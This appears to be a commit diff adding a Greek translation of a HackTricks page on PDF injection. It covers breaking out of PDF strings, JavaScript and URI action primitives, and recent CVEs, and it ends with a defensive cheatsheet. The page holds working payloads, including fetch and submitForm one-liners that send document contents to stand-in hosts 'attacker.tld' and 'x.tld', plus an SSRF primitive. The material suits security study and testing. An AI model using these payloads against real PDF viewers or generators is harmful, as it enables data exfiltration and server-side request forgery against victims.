Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:59 +00:00
parent 047ea93ad1
commit 645dde97ca

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**Αν η είσοδός σας αντικατοπτρίζεται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript ή να κλέψετε το περιεχόμενο του PDF.**
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**Αν η είσοδός σας ανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF.**
Η σύνταξη PDF είναι εξαιρετικά επιεικής αν μπορείτε να σπάσετε τη συμβολοσειρά ή το λεξικό που ενσωματώνει την είσοδό σας, μπορείτε να προσθέσετε εντελώς νέα αντικείμενα (ή νέες κλειδιά στο ίδιο αντικείμενο) που το Acrobat/Chrome θα αναλύσει ευχαρίστως.
Από το 2024, μια σειρά αναφορών bug-bounty έχει δείξει ότι *μία μη διαφραγμένη παρένθεση ή αντίστροφη κάθετος είναι αρκετή* για πλήρη εκτέλεση σεναρίου.
## TL;DR Σύγχρονη Ροή Επίθεσης (2024)
1. Βρείτε οποιαδήποτε τιμή ελεγχόμενη από τον χρήστη που καταλήγει μέσα σε μια **(συμβολοσειρά παρένθεσης)**, `/URI ( … )` ή `/JS ( … )` πεδίο στο παραγόμενο PDF.
2. Εισάγετε `) ` (κλείνοντας τη συμβολοσειρά) ακολουθούμενο από μία από τις παρακάτω πρωτότυπες και τελειώστε με άλλη μια ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη.
3. Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια υπηρεσία backend που αυτόματα αποδίδει το αρχείο εξαιρετικό για τυφλά σφάλματα).
4. Το payload σας εκτελείται στον αναγνώστη PDF:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (βλ. CVE-2024-4367)
* Acrobat → Πλήρης JavaScript API (μπορεί να εξάγει περιεχόμενα αρχείων με `this.getPageNthWord`)
Παράδειγμα (κατάχρηση συνδέσμου σημείωσης):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*Η πρώτη `)` κλείνει την αρχική συμβολοσειρά URI, στη συνέχεια προσθέτουμε ένα νέο **Action** λεξικό που θα εκτελέσει το Acrobat όταν ο χρήστης κάνει κλικ στον σύνδεσμο.*
## Χρήσιμα Injection Primitives
| Στόχος | Payload Snippet | Σημειώσεις |
|------|-----------------|-------|
| **JavaScript κατά το άνοιγμα** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Εκτελείται αμέσως όταν ανοίγει το έγγραφο (λειτουργεί στο Acrobat, όχι στο Chrome). |
| **JavaScript κατά τον σύνδεσμο** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια `/Link` σημείωση. |
| **Blind data exfiltration** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Συνδυάστε με `this.getPageNthWord` μέσα σε JS για να κλέψετε περιεχόμενο. |
| **Server-Side SSRF** | Το ίδιο με παραπάνω αλλά στοχεύστε σε μια εσωτερική διεύθυνση URL εξαιρετικό όταν το PDF αποδίδεται από υπηρεσίες back-office που σέβονται το `/URI`. |
| **Διάλειμμα γραμμής για νέα αντικείμενα** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Αν η βιβλιοθήκη σας επιτρέπει να εισάγετε χαρακτήρες νέας γραμμής, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα. |
## Blind Enumeration Trick
Ο Gareth Heyes (PortSwigger) δημοσίευσε μια μία γραμμή που καταμετρά κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Ο κώδικας επαναλαμβάνει το Acrobat DOM και κάνει εξωτερικά αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας μια *JSON-ish* εξαγωγή του αρχείου. Δείτε το λευκό έγγραφο “Portable Data **ex**Filtration” για την πλήρη τεχνική.
## Real-World Bugs (2023-2025)
* **CVE-2024-4367** Αυθαίρετη εκτέλεση JavaScript στο PDF.js του Firefox πριν από την 4.2.67 παρακάμπτει το sandbox με μια κατασκευασμένη ενέργεια `/JavaScript`.
* **Bug bounty 2024-05** Μεγάλη fintech επέτρεψε σημειώσεις τιμολογίων που παρέχονταν από πελάτες και κατέληγαν στο `/URI`; η αναφορά πληρώθηκε $10k μετά από αποδεδειγμένο SSRF σε εσωτερικό μεταδεδομένο host χρησιμοποιώντας `file:///` URI.
* **CVE-2023-26155** Η εντολή `node-qpdf` μέσω μη απολυμασμένης διαδρομής PDF δείχνει τη σημασία της απόδρασης των backslashes και των παρενθέσεων ακόμη *πριν* από το επίπεδο PDF.
## Defensive Cheatsheet
1. **Ποτέ μην συνδυάζετε ακατέργαστη είσοδο χρήστη** μέσα σε `(``)` συμβολοσειρές ή ονόματα. Απόδραση `\`, `(`, `)` όπως απαιτείται από το §7.3 της προδιαγραφής PDF ή χρησιμοποιήστε δεκαεξαδικές συμβολοσειρές `<...>`.
2. Εάν δημιουργείτε συνδέσμους, προτιμήστε `/URI (https://…)` που να *κωδικοποιείτε πλήρως* URL; αποκλείστε τα σχήματα `javascript:` στους πελάτες προβολής.
3. Αφαιρέστε ή επικυρώστε τα λεξικά `/OpenAction`, `/AA` (επιπλέον ενέργειες), `/Launch`, `/SubmitForm` και `/ImportData` κατά την επεξεργασία PDF.
4. Από την πλευρά του διακομιστή, αποδώστε μη αξιόπιστα PDFs με έναν *headless converter* (π.χ. qpdf decrypt linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες.
5. Διατηρήστε τους προβολείς PDF ενημερωμένους; PDF.js < 4.2.67 και Acrobat Reader πριν από τον Ιούλιο του 2024 επιτρέπουν απλή εκτέλεση κώδικα.
## References
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (updated May 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}